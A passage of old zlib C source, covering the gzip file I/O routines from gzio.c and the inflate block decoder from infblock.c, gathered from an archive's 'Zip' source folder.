    s->stream.avail_out = Z_BUFSIZE;

    errno = 0;
    s->file = fd < 0 ? F_OPEN(path, fmode) : (FILE*)fdopen(fd, fmode);

    if (s->file == NULL) {
        return destroy(s), (gzFile)Z_NULL;
    }
    if (s->mode == 'w') {
        /* Write a very simple .gz header:
         */
        fprintf(s->file, "%c%c%c%c%c%c%c%c%c%c", gz_magic[0], gz_magic[1],
             Z_DEFLATED, 0 /*flags*/, 0,0,0,0 /*time*/, 0 /*xflags*/, OS_CODE);
	s->startpos = 10L;
	/* We use 10L instead of ftell(s->file) to because ftell causes an
         * fflush on some systems. This version of the library doesn't use
         * startpos anyway in write mode, so this initialization is not
         * necessary.
         */
    } else {
	check_header(s); /* skip the .gz header */
	s->startpos = (ftell(s->file) - s->stream.avail_in);
    }
    
    return (gzFile)s;
}

/* ===========================================================================
     Opens a gzip (.gz) file for reading or writing.
*/
gzFile ZEXPORT gzopen (path, mode)
    const char *path;
    const char *mode;
{
    return gz_open (path, mode, -1);
}

/* ===========================================================================
     Associate a gzFile with the file descriptor fd. fd is not dup'ed here
   to mimic the behavio(u)r of fdopen.
*/
gzFile ZEXPORT gzdopen (fd, mode)
    int fd;
    const char *mode;
{
    char name[20];

    if (fd < 0) return (gzFile)Z_NULL;
    sprintf(name, "<fd:%d>", fd); /* for debugging */

    return gz_open (name, mode, fd);
}

/* ===========================================================================
 * Update the compression level and strategy
 */
int ZEXPORT gzsetparams (file, level, strategy)
    gzFile file;
    int level;
    int strategy;
{
    gz_stream *s = (gz_stream*)file;

    if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR;

    /* Make room to allow flushing */
    if (s->stream.avail_out == 0) {

	s->stream.next_out = s->outbuf;
	if (fwrite(s->outbuf, 1, Z_BUFSIZE, s->file) != Z_BUFSIZE) {
	    s->z_err = Z_ERRNO;
	}
	s->stream.avail_out = Z_BUFSIZE;
    }

    return deflateParams (&(s->stream), level, strategy);
}

/* ===========================================================================
     Read a byte from a gz_stream; update next_in and avail_in. Return EOF
   for end of file.
   IN assertion: the stream s has been sucessfully opened for reading.
*/
local int get_byte(s)
    gz_stream *s;
{
    if (s->z_eof) return EOF;
    if (s->stream.avail_in == 0) {
	errno = 0;
	s->stream.avail_in = fread(s->inbuf, 1, Z_BUFSIZE, s->file);
	if (s->stream.avail_in == 0) {
	    s->z_eof = 1;
	    if (ferror(s->file)) s->z_err = Z_ERRNO;
	    return EOF;
	}
	s->stream.next_in = s->inbuf;
    }
    s->stream.avail_in--;
    return *(s->stream.next_in)++;
}

/* ===========================================================================
      Check the gzip header of a gz_stream opened for reading. Set the stream
    mode to transparent if the gzip magic header is not present; set s->err
    to Z_DATA_ERROR if the magic header is present but the rest of the header
    is incorrect.
    IN assertion: the stream s has already been created sucessfully;
       s->stream.avail_in is zero for the first time, but may be non-zero
       for concatenated .gz files.
*/
local void check_header(s)
    gz_stream *s;
{
    int method; /* method byte */
    int flags;  /* flags byte */
    uInt len;
    int c;

    /* Check the gzip magic header */
    for (len = 0; len < 2; len++) {
	c = get_byte(s);
	if (c != gz_magic[len]) {
	    if (len != 0) s->stream.avail_in++, s->stream.next_in--;
	    if (c != EOF) {
		s->stream.avail_in++, s->stream.next_in--;
		s->transparent = 1;
	    }
	    s->z_err = s->stream.avail_in != 0 ? Z_OK : Z_STREAM_END;
	    return;
	}
    }
    method = get_byte(s);
    flags = get_byte(s);
    if (method != Z_DEFLATED || (flags & RESERVED) != 0) {
	s->z_err = Z_DATA_ERROR;
	return;
    }

    /* Discard time, xflags and OS code: */
    for (len = 0; len < 6; len++) (void)get_byte(s);

    if ((flags & EXTRA_FIELD) != 0) { /* skip the extra field */
	len  =  (uInt)get_byte(s);
	len += ((uInt)get_byte(s))<<8;
	/* len is garbage if EOF but the loop below will quit anyway */
	while (len-- != 0 && get_byte(s) != EOF) ;
    }
    if ((flags & ORIG_NAME) != 0) { /* skip the original file name */
	while ((c = get_byte(s)) != 0 && c != EOF) ;
    }
    if ((flags & COMMENT) != 0) {   /* skip the .gz file comment */
	while ((c = get_byte(s)) != 0 && c != EOF) ;
    }
    if ((flags & HEAD_CRC) != 0) {  /* skip the header crc */
	for (len = 0; len < 2; len++) (void)get_byte(s);
    }
    s->z_err = s->z_eof ? Z_DATA_ERROR : Z_OK;
}

 /* ===========================================================================
 * Cleanup then free the given gz_stream. Return a zlib error code.
   Try freeing in the reverse order of allocations.
 */
local int destroy (s)
    gz_stream *s;
{
    int err = Z_OK;

    if (!s) return Z_STREAM_ERROR;

    TRYFREE(s->msg);

    if (s->stream.state != NULL) {
	if (s->mode == 'w') {
#ifdef NO_DEFLATE
	    err = Z_STREAM_ERROR;
#else
	    err = deflateEnd(&(s->stream));
#endif
	} else if (s->mode == 'r') {
	    err = inflateEnd(&(s->stream));
	}
    }
    if (s->file != NULL && fclose(s->file)) {
#ifdef ESPIPE
	if (errno != ESPIPE) /* fclose is broken for pipes in HP/UX */
#endif
	    err = Z_ERRNO;
    }
    if (s->z_err < 0) err = s->z_err;

    TRYFREE(s->inbuf);
    TRYFREE(s->outbuf);
    TRYFREE(s->path);
    TRYFREE(s);
    return err;
}

/* ===========================================================================
     Reads the given number of uncompressed bytes from the compressed file.
   gzread returns the number of bytes actually read (0 for end of file).
*/
int ZEXPORT gzread (file, buf, len)
    gzFile file;
    voidp buf;
    unsigned len;
{
    gz_stream *s = (gz_stream*)file;
    Bytef *start = (Bytef*)buf; /* starting point for crc computation */
    Byte  *next_out; /* == stream.next_out but not forced far (for MSDOS) */

    if (s == NULL || s->mode != 'r') return Z_STREAM_ERROR;

    if (s->z_err == Z_DATA_ERROR || s->z_err == Z_ERRNO) return -1;
    if (s->z_err == Z_STREAM_END) return 0;  /* EOF */

    next_out = (Byte*)buf;
    s->stream.next_out = (Bytef*)buf;
    s->stream.avail_out = len;

    while (s->stream.avail_out != 0) {

	if (s->transparent) {
	    /* Copy first the lookahead bytes: */
	    uInt n = s->stream.avail_in;
	    if (n > s->stream.avail_out) n = s->stream.avail_out;
	    if (n > 0) {
		zmemcpy(s->stream.next_out, s->stream.next_in, n);
		next_out += n;
		s->stream.next_out = next_out;
		s->stream.next_in   += n;
		s->stream.avail_out -= n;
		s->stream.avail_in  -= n;
	    }
	    if (s->stream.avail_out > 0) {
		s->stream.avail_out -= fread(next_out, 1, s->stream.avail_out,
					     s->file);
	    }
	    len -= s->stream.avail_out;
	    s->stream.total_in  += (uLong)len;
	    s->stream.total_out += (uLong)len;
            if (len == 0) s->z_eof = 1;
	    return (int)len;
	}
        if (s->stream.avail_in == 0 && !s->z_eof) {

            errno = 0;
            s->stream.avail_in = fread(s->inbuf, 1, Z_BUFSIZE, s->file);
            if (s->stream.avail_in == 0) {
                s->z_eof = 1;
		if (ferror(s->file)) {
		    s->z_err = Z_ERRNO;
		    break;
		}
            }
            s->stream.next_in = s->inbuf;
        }
        s->z_err = inflate(&(s->stream), Z_NO_FLUSH);

	if (s->z_err == Z_STREAM_END) {
	    /* Check CRC and original size */
	    s->crc = crc32(s->crc, start, (uInt)(s->stream.next_out - start));
	    start = s->stream.next_out;

	    if (getLong(s) != s->crc) {
		s->z_err = Z_DATA_ERROR;
	    } else {
	        (void)getLong(s);
                /* The uncompressed length returned by above getlong() may
                 * be different from s->stream.total_out) in case of
		 * concatenated .gz files. Check for such files:
		 */
		check_header(s);
		if (s->z_err == Z_OK) {
		    uLong total_in = s->stream.total_in;
		    uLong total_out = s->stream.total_out;

		    inflateReset(&(s->stream));
		    s->stream.total_in = total_in;
		    s->stream.total_out = total_out;
		    s->crc = crc32(0L, Z_NULL, 0);
		}
	    }
	}
	if (s->z_err != Z_OK || s->z_eof) break;
    }
    s->crc = crc32(s->crc, start, (uInt)(s->stream.next_out - start));

    return (int)(len - s->stream.avail_out);
}


/* ===========================================================================
      Reads one byte from the compressed file. gzgetc returns this byte
   or -1 in case of end of file or error.
*/
int ZEXPORT gzgetc(file)
    gzFile file;
{
    unsigned char c;

    return gzread(file, &c, 1) == 1 ? c : -1;
}


/* ===========================================================================
      Reads bytes from the compressed file until len-1 characters are
   read, or a newline character is read and transferred to buf, or an
   end-of-file condition is encountered.  The string is then terminated
   with a null character.
      gzgets returns buf, or Z_NULL in case of error.

      The current implementation is not optimized at all.
*/
char * ZEXPORT gzgets(file, buf, len)
    gzFile file;
    char *buf;
    int len;
{
    char *b = buf;
    if (buf == Z_NULL || len <= 0) return Z_NULL;

    while (--len > 0 && gzread(file, buf, 1) == 1 && *buf++ != '\n') ;
    *buf = '\0';
    return b == buf && len > 0 ? Z_NULL : b;
}


#ifndef NO_DEFLATE
/* ===========================================================================
     Writes the given number of uncompressed bytes into the compressed file.
   gzwrite returns the number of bytes actually written (0 in case of error).
*/
int ZEXPORT gzwrite (file, buf, len)
    gzFile file;
    const voidp buf;
    unsigned len;
{
    gz_stream *s = (gz_stream*)file;

    if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR;

    s->stream.next_in = (Bytef*)buf;
    s->stream.avail_in = len;

    while (s->stream.avail_in != 0) {

        if (s->stream.avail_out == 0) {

            s->stream.next_out = s->outbuf;
            if (fwrite(s->outbuf, 1, Z_BUFSIZE, s->file) != Z_BUFSIZE) {
                s->z_err = Z_ERRNO;
                break;
            }
            s->stream.avail_out = Z_BUFSIZE;
        }
        s->z_err = deflate(&(s->stream), Z_NO_FLUSH);
        if (s->z_err != Z_OK) break;
    }
    s->crc = crc32(s->crc, (const Bytef *)buf, len);

    return (int)(len - s->stream.avail_in);
}

/* ===========================================================================
     Converts, formats, and writes the args to the compressed file under
   control of the format string, as in fprintf. gzprintf returns the number of
   uncompressed bytes actually written (0 in case of error).
*/
#ifdef STDC
#include <stdarg.h>

int ZEXPORTVA gzprintf (gzFile file, const char *format, /* args */ ...)
{
    char buf[Z_PRINTF_BUFSIZE];
    va_list va;
    int len;

    va_start(va, format);
#ifdef HAS_vsnprintf
    (void)vsnprintf(buf, sizeof(buf), format, va);
#else
    (void)vsprintf(buf, format, va);
#endif
    va_end(va);
    len = strlen(buf); /* some *sprintf don't return the nb of bytes written */
    if (len <= 0) return 0;

    return gzwrite(file, buf, (unsigned)len);
}
#else /* not ANSI C */

int ZEXPORTVA gzprintf (file, format, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
	               a11, a12, a13, a14, a15, a16, a17, a18, a19, a20)
    gzFile file;
    const char *format;
    int a1, a2, a3, a4, a5, a6, a7, a8, a9, a10,
	a11, a12, a13, a14, a15, a16, a17, a18, a19, a20;
{
    char buf[Z_PRINTF_BUFSIZE];
    int len;

#ifdef HAS_snprintf
    snprintf(buf, sizeof(buf), format, a1, a2, a3, a4, a5, a6, a7, a8,
	     a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
#else
    sprintf(buf, format, a1, a2, a3, a4, a5, a6, a7, a8,
	    a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20);
#endif
    len = strlen(buf); /* old sprintf doesn't return the nb of bytes written */
    if (len <= 0) return 0;

    return gzwrite(file, buf, len);
}
#endif

/* ===========================================================================
      Writes c, converted to an unsigned char, into the compressed file.
   gzputc returns the value that was written, or -1 in case of error.
*/
int ZEXPORT gzputc(file, c)
    gzFile file;
    int c;
{
    unsigned char cc = (unsigned char) c; /* required for big endian systems */

    return gzwrite(file, &cc, 1) == 1 ? (int)cc : -1;
}


/* ===========================================================================
      Writes the given null-terminated string to the compressed file, excluding
   the terminating null character.
      gzputs returns the number of characters written, or -1 in case of error.
*/
int ZEXPORT gzputs(file, s)
    gzFile file;
    const char *s;
{
    return gzwrite(file, (char*)s, (unsigned)strlen(s));
}


/* ===========================================================================
     Flushes all pending output into the compressed file. The parameter
   flush is as in the deflate() function.
*/
local int do_flush (file, flush)
    gzFile file;
    int flush;
{
    uInt len;
    int done = 0;
    gz_stream *s = (gz_stream*)file;

    if (s == NULL || s->mode != 'w') return Z_STREAM_ERROR;

    s->stream.avail_in = 0; /* should be zero already anyway */

    for (;;) {
        len = Z_BUFSIZE - s->stream.avail_out;

        if (len != 0) {
            if ((uInt)fwrite(s->outbuf, 1, len, s->file) != len) {
                s->z_err = Z_ERRNO;
                return Z_ERRNO;
            }
            s->stream.next_out = s->outbuf;
            s->stream.avail_out = Z_BUFSIZE;
        }
        if (done) break;
        s->z_err = deflate(&(s->stream), flush);

	/* Ignore the second of two consecutive flushes: */
	if (len == 0 && s->z_err == Z_BUF_ERROR) s->z_err = Z_OK;

        /* deflate has finished flushing only when it hasn't used up
         * all the available space in the output buffer: 
         */
        done = (s->stream.avail_out != 0 || s->z_err == Z_STREAM_END);
 
        if (s->z_err != Z_OK && s->z_err != Z_STREAM_END) break;
    }
    return  s->z_err == Z_STREAM_END ? Z_OK : s->z_err;
}

int ZEXPORT gzflush (file, flush)
     gzFile file;
     int flush;
{
    gz_stream *s = (gz_stream*)file;
    int err = do_flush (file, flush);

    if (err) return err;
    fflush(s->file);
    return  s->z_err == Z_STREAM_END ? Z_OK : s->z_err;
}
#endif /* NO_DEFLATE */

/* ===========================================================================
      Sets the starting position for the next gzread or gzwrite on the given
   compressed file. The offset represents a number of bytes in the
      gzseek returns the resulting offset location as measured in bytes from
   the beginning of the uncompressed stream, or -1 in case of error.
      SEEK_END is not implemented, returns error.
      In this version of the library, gzseek can be extremely slow.
*/
z_off_t ZEXPORT gzseek (file, offset, whence)
    gzFile file;
    z_off_t offset;
    int whence;
{
    gz_stream *s = (gz_stream*)file;

    if (s == NULL || whence == SEEK_END ||
	s->z_err == Z_ERRNO || s->z_err == Z_DATA_ERROR) {
	return -1L;
    }
    
    if (s->mode == 'w') {
#ifdef NO_DEFLATE
	return -1L;
#else
	if (whence == SEEK_SET) {
	    offset -= s->stream.total_in;
	}
	if (offset < 0) return -1L;

	/* At this point, offset is the number of zero bytes to write. */
	if (s->inbuf == Z_NULL) {
	    s->inbuf = (Byte*)ALLOC(Z_BUFSIZE); /* for seeking */
	    zmemzero(s->inbuf, Z_BUFSIZE);
	}
	while (offset > 0)  {
	    uInt size = Z_BUFSIZE;
	    if (offset < Z_BUFSIZE) size = (uInt)offset;

	    size = gzwrite(file, s->inbuf, size);
	    if (size == 0) return -1L;

	    offset -= size;
	}
	return (z_off_t)s->stream.total_in;
#endif
    }
    /* Rest of function is for reading only */

    /* compute absolute position */
    if (whence == SEEK_CUR) {
	offset += s->stream.total_out;
    }
    if (offset < 0) return -1L;

    if (s->transparent) {
	/* map to fseek */
	s->stream.avail_in = 0;
	s->stream.next_in = s->inbuf;
        if (fseek(s->file, offset, SEEK_SET) < 0) return -1L;

	s->stream.total_in = s->stream.total_out = (uLong)offset;
	return offset;
    }

    /* For a negative seek, rewind and use positive seek */
    if ((uLong)offset >= s->stream.total_out) {
	offset -= s->stream.total_out;
    } else if (gzrewind(file) < 0) {
	return -1L;
    }
    /* offset is now the number of bytes to skip. */

    if (offset != 0 && s->outbuf == Z_NULL) {
	s->outbuf = (Byte*)ALLOC(Z_BUFSIZE);
    }
    while (offset > 0)  {
	int size = Z_BUFSIZE;
	if (offset < Z_BUFSIZE) size = (int)offset;

	size = gzread(file, s->outbuf, (uInt)size);
	if (size <= 0) return -1L;
	offset -= size;
    }
    return (z_off_t)s->stream.total_out;
}

/* ===========================================================================
     Rewinds input file. 
*/
int ZEXPORT gzrewind (file)
    gzFile file;
{
    gz_stream *s = (gz_stream*)file;
    
    if (s == NULL || s->mode != 'r') return -1;

    s->z_err = Z_OK;
    s->z_eof = 0;
    s->stream.avail_in = 0;
    s->stream.next_in = s->inbuf;
    s->crc = crc32(0L, Z_NULL, 0);
	
    if (s->startpos == 0) { /* not a compressed file */
	rewind(s->file);
	return 0;
    }

    (void) inflateReset(&s->stream);
    return fseek(s->file, s->startpos, SEEK_SET);
}

/* ===========================================================================
     Returns the starting position for the next gzread or gzwrite on the
   given compressed file. This position represents a number of bytes in the
   uncompressed data stream.
*/
z_off_t ZEXPORT gztell (file)
    gzFile file;
{
    return gzseek(file, 0L, SEEK_CUR);
}

/* ===========================================================================
     Returns 1 when EOF has previously been detected reading the given
   input stream, otherwise zero.
*/
int ZEXPORT gzeof (file)
    gzFile file;
{
    gz_stream *s = (gz_stream*)file;
    
    return (s == NULL || s->mode != 'r') ? 0 : s->z_eof;
}

/* ===========================================================================
   Outputs a long in LSB order to the given file
*/
local void putLong (file, x)
    FILE *file;
    uLong x;
{
    int n;
    for (n = 0; n < 4; n++) {
        fputc((int)(x & 0xff), file);
        x >>= 8;
    }
}

/* ===========================================================================
   Reads a long in LSB order from the given gz_stream. Sets z_err in case
   of error.
*/
local uLong getLong (s)
    gz_stream *s;
{
    uLong x = (uLong)get_byte(s);
    int c;

    x += ((uLong)get_byte(s))<<8;
    x += ((uLong)get_byte(s))<<16;
    c = get_byte(s);
    if (c == EOF) s->z_err = Z_DATA_ERROR;
    x += ((uLong)c)<<24;
    return x;
}

/* ===========================================================================
     Flushes all pending output if necessary, closes the compressed file
   and deallocates all the (de)compression state.
*/
int ZEXPORT gzclose (file)
    gzFile file;
{
    int err;
    gz_stream *s = (gz_stream*)file;

    if (s == NULL) return Z_STREAM_ERROR;

    if (s->mode == 'w') {
#ifdef NO_DEFLATE
	return Z_STREAM_ERROR;
#else
        err = do_flush (file, Z_FINISH);
        if (err != Z_OK) return destroy((gz_stream*)file);

        putLong (s->file, s->crc);
        putLong (s->file, s->stream.total_in);
#endif
    }
    return destroy((gz_stream*)file);
}

/* ===========================================================================
     Returns the error message for the last error which occured on the
   given compressed file. errnum is set to zlib error number. If an
   error occured in the file system and not in the compression library,
   errnum is set to Z_ERRNO and the application may consult errno
   to get the exact error code.
*/
const char*  ZEXPORT gzerror (file, errnum)
    gzFile file;
    int *errnum;
{
    char *m;
    gz_stream *s = (gz_stream*)file;

    if (s == NULL) {
        *errnum = Z_STREAM_ERROR;
        return (const char*)ERR_MSG(Z_STREAM_ERROR);
    }
    *errnum = s->z_err;
    if (*errnum == Z_OK) return (const char*)"";

    m =  (char*)(*errnum == Z_ERRNO ? zstrerror(errno) : s->stream.msg);

    if (m == NULL || *m == '\0') m = (char*)ERR_MSG(s->z_err);

    TRYFREE(s->msg);
    s->msg = (char*)ALLOC(strlen(s->path) + strlen(m) + 3);
    strcpy(s->msg, s->path);
    strcat(s->msg, ": ");
    strcat(s->msg, m);
    return (const char*)s->msg;
}








源码/Zip/infblock.c

/* infblock.c -- interpret and process block types to last block
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

#include "zutil.h"
#include "infblock.h"
#include "inftrees.h"
#include "infcodes.h"
#include "infutil.h"

struct inflate_codes_state {int dummy;}; /* for buggy compilers */

/* simplify the use of the inflate_huft type with some defines */
#define exop word.what.Exop
#define bits word.what.Bits

/* Table for deflate from PKZIP's appnote.txt. */
local const uInt border[] = { /* Order of the bit length code lengths */
        16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15};

/*
   Notes beyond the 1.93a appnote.txt:

   1. Distance pointers never point before the beginning of the output
      stream.
   2. Distance pointers can point back across blocks, up to 32k away.
   3. There is an implied maximum of 7 bits for the bit length table and
      15 bits for the actual data.
   4. If only one code exists, then it is encoded using one bit.  (Zero
      would be more efficient, but perhaps a little confusing.)  If two
      codes exist, they are coded using one bit each (0 and 1).
   5. There is no way of sending zero distance codes--a dummy must be
      sent if there are none.  (History: a pre 2.0 version of PKZIP would
      store blocks with no distance codes, but this was discovered to be
      too harsh a criterion.)  Valid only for 1.93a.  2.04c does allow
      zero distance codes, which is sent as one code of zero bits in
      length.
   6. There are up to 286 literal/length codes.  Code 256 represents the
      end-of-block.  Note however that the static length tree defines
      288 codes just to fill out the Huffman codes.  Codes 286 and 287
      cannot be used though, since there is no length base or extra bits
      defined for them.  Similarily, there are up to 30 distance codes.
      However, static trees define 32 codes (all 5 bits) to fill out the
      Huffman codes, but the last two had better not show up in the data.
   7. Unzip can check dynamic Huffman blocks for complete code sets.
      The exception is that a single code would not be complete (see #4).
   8. The five bits following the block type is really the number of
      literal codes sent minus 257.
   9. Length codes 8,16,16 are interpreted as 13 length codes of 8 bits
      (1+6+6).  Therefore, to output three times the length, you output
      three codes (1+1+1), whereas to output four times the same length,
      you only need two codes (1+3).  Hmm.
  10. In the tree reconstruction algorithm, Code = Code + Increment
      only if BitLength(i) is not zero.  (Pretty obvious.)
  11. Correction: 4 Bits: # of Bit Length codes - 4     (4 - 19)
  12. Note: length code 284 can represent 227-258, but length code 285
      really is 258.  The last length deserves its own, short code
      since it gets used a lot in very redundant files.  The length
      258 is special since 258 - 3 (the min match length) is 255.
  13. The literal/length and distance code bit lengths are read as a
      single stream of lengths.  It is possible (and advantageous) for
      a repeat code (16, 17, or 18) to go across the boundary between
      the two sets of lengths.
 */


void inflate_blocks_reset(s, z, c)
inflate_blocks_statef *s;
z_streamp z;
uLongf *c;
{
  if (c != Z_NULL)
    *c = s->check;
  if (s->mode == BTREE || s->mode == DTREE)
    ZFREE(z, s->sub.trees.blens);
  if (s->mode == CODES)
    inflate_codes_free(s->sub.decode.codes, z);
  s->mode = TYPE;
  s->bitk = 0;
  s->bitb = 0;
  s->read = s->write = s->window;
  if (s->checkfn != Z_NULL)
    z->adler = s->check = (*s->checkfn)(0L, (const Bytef *)Z_NULL, 0);
  Tracev((stderr, "inflate:   blocks reset\n"));
}


inflate_blocks_statef *inflate_blocks_new(z, c, w)
z_streamp z;
check_func c;
uInt w;
{
  inflate_blocks_statef *s;

  if ((s = (inflate_blocks_statef *)ZALLOC
       (z,1,sizeof(struct inflate_blocks_state))) == Z_NULL)
    return s;
  if ((s->hufts =
       (inflate_huft *)ZALLOC(z, sizeof(inflate_huft), MANY)) == Z_NULL)
  {
    ZFREE(z, s);
    return Z_NULL;
  }
  if ((s->window = (Bytef *)ZALLOC(z, 1, w)) == Z_NULL)
  {
    ZFREE(z, s->hufts);
    ZFREE(z, s);
    return Z_NULL;
  }
  s->end = s->window + w;
  s->checkfn = c;
  s->mode = TYPE;
  Tracev((stderr, "inflate:   blocks allocated\n"));
  inflate_blocks_reset(s, z, Z_NULL);
  return s;
}


int inflate_blocks(s, z, r)
inflate_blocks_statef *s;
z_streamp z;
int r;
{
  uInt t;               /* temporary storage */
  uLong b;              /* bit buffer */
  uInt k;               /* bits in bit buffer */
  Bytef *p;             /* input data pointer */
  uInt n;               /* bytes available there */
  Bytef *q;             /* output window write pointer */
  uInt m;               /* bytes to end of window or read pointer */

  /* copy input/output information to locals (UPDATE macro restores) */
  LOAD

  /* process input based on current state */
  while (1) switch (s->mode)
  {
    case TYPE:
      NEEDBITS(3)
      t = (uInt)b & 7;
      s->last = t & 1;
      switch (t >> 1)
      {
        case 0:                         /* stored */
          Tracev((stderr, "inflate:     stored block%s\n",
                 s->last ? " (last)" : ""));
          DUMPBITS(3)
          t = k & 7;                    /* go to byte boundary */
          DUMPBITS(t)
          s->mode = LENS;               /* get length of stored block */
          break;
        case 1:                         /* fixed */
          Tracev((stderr, "inflate:     fixed codes block%s\n",
                 s->last ? " (last)" : ""));
          {
            uInt bl, bd;
            inflate_huft *tl, *td;

            inflate_trees_fixed(&bl, &bd, &tl, &td, z);
            s->sub.decode.codes = inflate_codes_new(bl, bd, tl, td, z);
            if (s->sub.decode.codes == Z_NULL)
            {
              r = Z_MEM_ERROR;
              LEAVE
            }
          }
          DUMPBITS(3)
          s->mode = CODES;
          break;
        case 2:                         /* dynamic */
          Tracev((stderr, "inflate:     dynamic codes block%s\n",
                 s->last ? " (last)" : ""));
          DUMPBITS(3)
          s->mode = TABLE;
          break;
        case 3:                         /* illegal */
          DUMPBITS(3)
          s->mode = BAD;
          z->msg = (char*)"invalid block type";
          r = Z_DATA_ERROR;
          LEAVE
      }
      break;
    case LENS:
      NEEDBITS(32)
      if ((((~b) >> 16) & 0xffff) != (b & 0xffff))
      {
        s->mode = BAD;
        z->msg = (char*)"invalid stored block lengths";
        r = Z_DATA_ERROR;
        LEAVE
      }
      s->sub.left = (uInt)b & 0xffff;
      b = k = 0;                      /* dump bits */
      Tracev((stderr, "inflate:       stored length %u\n", s->sub.left));
      s->mode = s->sub.left ? STORED : (s->last ? DRY : TYPE);
      break;
    case STORED:
      if (n == 0)
        LEAVE
      NEEDOUT
      t = s->sub.left;
      if (t > n) t = n;
      if (t > m) t = m;
      zmemcpy(q, p, t);
      p += t;  n -= t;
      q += t;  m -= t;
      if ((s->sub.left -= t) != 0)
        break;
      Tracev((stderr, "inflate:       stored end, %lu total out\n",
              z->total_out + (q >= s->read ? q - s->read :
              (s->end - s->read) + (q - s->window))));
      s->mode = s->last ? DRY : TYPE;
      break;
    case TABLE:
      NEEDBITS(14)
      s->sub.trees.table = t = (uInt)b & 0x3fff;
#ifndef PKZIP_BUG_WORKAROUND
      if ((t & 0x1f) > 29 || ((t >> 5) & 0x1f) > 29)
      {
        s->mode = BAD;
        z->msg = (char*)"too many length or distance symbols";
        r = Z_DATA_ERROR;
        LEAVE
      }
#endif
      t = 258 + (t & 0x1f) + ((t >> 5) & 0x1f);
      if ((s->sub.trees.blens = (uIntf*)ZALLOC(z, t, sizeof(uInt))) == Z_NULL)
      {
        r = Z_MEM_ERROR;
        LEAVE
      }
      DUMPBITS(14)
      s->sub.trees.index = 0;
      Tracev((stderr, "inflate:       table sizes ok\n"));
      s->mode = BTREE;
    case BTREE:
      while (s->sub.trees.index < 4 + (s->sub.trees.table >> 10))
      {
        NEEDBITS(3)
        s->sub.trees.blens[border[s->sub.trees.index++]] = (uInt)b & 7;
        DUMPBITS(3)
      }
      while (s->sub.trees.index < 19)
        s->sub.trees.blens[border[s->sub.trees.index++]] = 0;
      s->sub.trees.bb = 7;
      t = inflate_trees_bits(s->sub.trees.blens, &s->sub.trees.bb,
                             &s->sub.trees.tb, s->hufts, z);
      if (t != Z_OK)
      {
        r = t;
        if (r == Z_DATA_ERROR)
        {
          ZFREE(z, s->sub.trees.blens);
          s->mode = BAD;
        }
        LEAVE
      }
      s->sub.trees.index = 0;
      Tracev((stderr, "inflate:       bits tree ok\n"));
      s->mode = DTREE;
    case DTREE:
      while (t = s->sub.trees.table,
             s->sub.trees.index < 258 + (t & 0x1f) + ((t >> 5) & 0x1f))
      {
        inflate_huft *h;
        uInt i, j, c;

        t = s->sub.trees.bb;
        NEEDBITS(t)
        h = s->sub.trees.tb + ((uInt)b & inflate_mask[t]);
        t = h->bits;
        c = h->base;
        if (c < 16)
        {
          DUMPBITS(t)
          s->sub.trees.blens[s->sub.trees.index++] = c;
        }
        else /* c == 16..18 */
        {
          i = c == 18 ? 7 : c - 14;
          j = c == 18 ? 11 : 3;
          NEEDBITS(t + i)
          DUMPBITS(t)
          j += (uInt)b & inflate_mask[i];
          DUMPBITS(i)
          i = s->sub.trees.index;
          t = s->sub.trees.table;
          if (i + j > 258 + (t & 0x1f) + ((t >> 5) & 0x1f) ||
              (c == 16 && i < 1))
          {
            ZFREE(z, s->sub.trees.blens);
            s->mode = BAD;
            z->msg = (char*)"invalid bit length repeat";
            r = Z_DATA_ERROR;
            LEAVE
          }
          c = c == 16 ? s->sub.trees.blens[i - 1] : 0;
          do {
            s->sub.trees.blens[i++] = c;
          } while (--j);
          s->sub.trees.index = i;
        }
      }
      s->sub.trees.tb = Z_NULL;
      {
        uInt bl, bd;
        inflate_huft *tl, *td;
        inflate_codes_statef *c;

        bl = 9;         /* must be <= 9 for lookahead assumptions */
        bd = 6;         /* must be <= 9 for lookahead assumptions */
        t = s->sub.trees.table;
        t = inflate_trees_dynamic(257 + (t & 0x1f), 1 + ((t >> 5) & 0x1f),
                                  s->sub.trees.blens, &bl, &bd, &tl, &td,
                                  s->hufts, z);
        if (t != Z_OK)
        {
          if (t == (uInt)Z_DATA_ERROR)
          {
            ZFREE(z, s->sub.trees.blens);
            s->mode = BAD;
          }
          r = t;
          LEAVE
        }
        Tracev((stderr, "inflate:       trees ok\n"));
        if ((c = inflate_codes_new(bl, bd, tl, td, z)) == Z_NULL)
        {
          r = Z_MEM_ERROR;
          LEAVE
        }
        s->sub.decode.codes = c;
      }
      ZFREE(z, s->sub.trees.blens);
      s->mode = CODES;
    case CODES:
      UPDATE
      if ((r = inflate_codes(s, z, r)) != Z_STREAM_END)
        return inflate_flush(s, z, r);
      r = Z_OK;
      inflate_codes_free(s->sub.decode.codes, z);
      LOAD
      Tracev((stderr, "inflate:       codes end, %lu total out\n",
              z->total_out + (q >= s->read ? q - s->read :
              (s->end - s->read) + (q - s->window))));
      if (!s->last)
      {
        s->mode = TYPE;
        break;
      }
      s->mode = DRY;
    case DRY:
      FLUSH
      if (s->read != s->write)
        LEAVE
      s->mode = DONE;
    case DONE:
      r = Z_STREAM_END;
      LEAVE
    case BAD:
      r = Z_DATA_ERROR;
      LEAVE
    default:
      r = Z_STREAM_ERROR;
      LEAVE
  }
}


int inflate_blocks_free(s, z)
inflate_blocks_statef *s;
z_streamp z;
{
  inflate_blocks_reset(s, z, Z_NULL);
  ZFREE(z, s->window);
  ZFREE(z, s->hufts);
  ZFREE(z, s);
  Tracev((stderr, "inflate:   blocks freed\n"));
  return Z_OK;
}


void inflate_set_dictionary(s, d, n)
inflate_blocks_statef *s;
const Bytef *d;
uInt  n;
{
  zmemcpy(s->window, d, n);
  s->read = s->write = s->window + n;
}


/* Returns true if inflate is currently at the end of a block generated
 * by Z_SYNC_FLUSH or Z_FULL_FLUSH. 
 * IN assertion: s != Z_NULL
 */
int inflate_blocks_sync_point(s)
inflate_blocks_statef *s;
{
  return s->mode == LENS;
}








源码/Zip/infblock.h

/* infblock.h -- header to use infblock.c
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

